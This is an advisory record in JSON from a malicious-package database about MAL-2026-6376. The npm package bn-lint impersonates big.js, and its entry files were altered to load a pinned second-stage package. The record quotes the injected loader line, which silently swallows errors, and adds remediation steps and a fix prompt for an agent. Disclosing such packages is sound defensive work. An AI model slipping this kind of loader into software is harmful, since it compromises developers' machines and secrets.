{"answers":{"affected":"1 open source package ship an affected version, including bn-lint.","exploited":"There is no known exploitation of MAL-2026-6376 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6376 is a malicious package in bn-lint, published on 24 Jun 2026."},"fix_prompt":"MAL-2026-6376 is a malicious package: bn-lint (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6376/ (Markdown: https://insights.sbomify.com/MAL-2026-6376/index.md)","id":"MAL-2026-6376","markdown":"https://insights.sbomify.com/MAL-2026-6376/index.md","name":"MAL-2026-6376","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package is published as 'bn-lint' but ships a verbatim copy of MikeMcl/big.js (README, source, version banner v7.0.1, and repo URL all identify as big.js). Both entrypoints, big.js and big.mjs, have been modified at lines 605-606 to inject `const helper = require(\"ts-bn-lint-helper\"); helper.from_str().then(e =\u003e e).catch(e =\u003e { });` at module top level. Any `require('bn-lint')` or `import` of the package immediately loads and invokes the separately-published, pinned `ts-bn-lint-helper@3.1.19` (declared in package.json line 58). The `.then(e =\u003e e).catch(e =\u003e { })` wrapping silently swallows both resolution and rejection values, suppressing logs, thrown errors, and rejected promises so the secondary payload's execution is invisible to a developer using what they believe to be a big.js arithmetic library. The combination of impersonated identity, top-level loader injection into an otherwise unrelated arithmetic library, a pinned untrusted second-stage dependency, and deliberate error suppression is consistent with a typosquat-with-payload supply-chain attack rather than a legitimate fork.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in bn-lint (npm)","id":"MAL-2026-6376","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"bn-lint","purl":"pkg:npm/bn-lint","source":"MAL-2026-6376"}],"products":null,"published":"2026-06-24","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6376/"}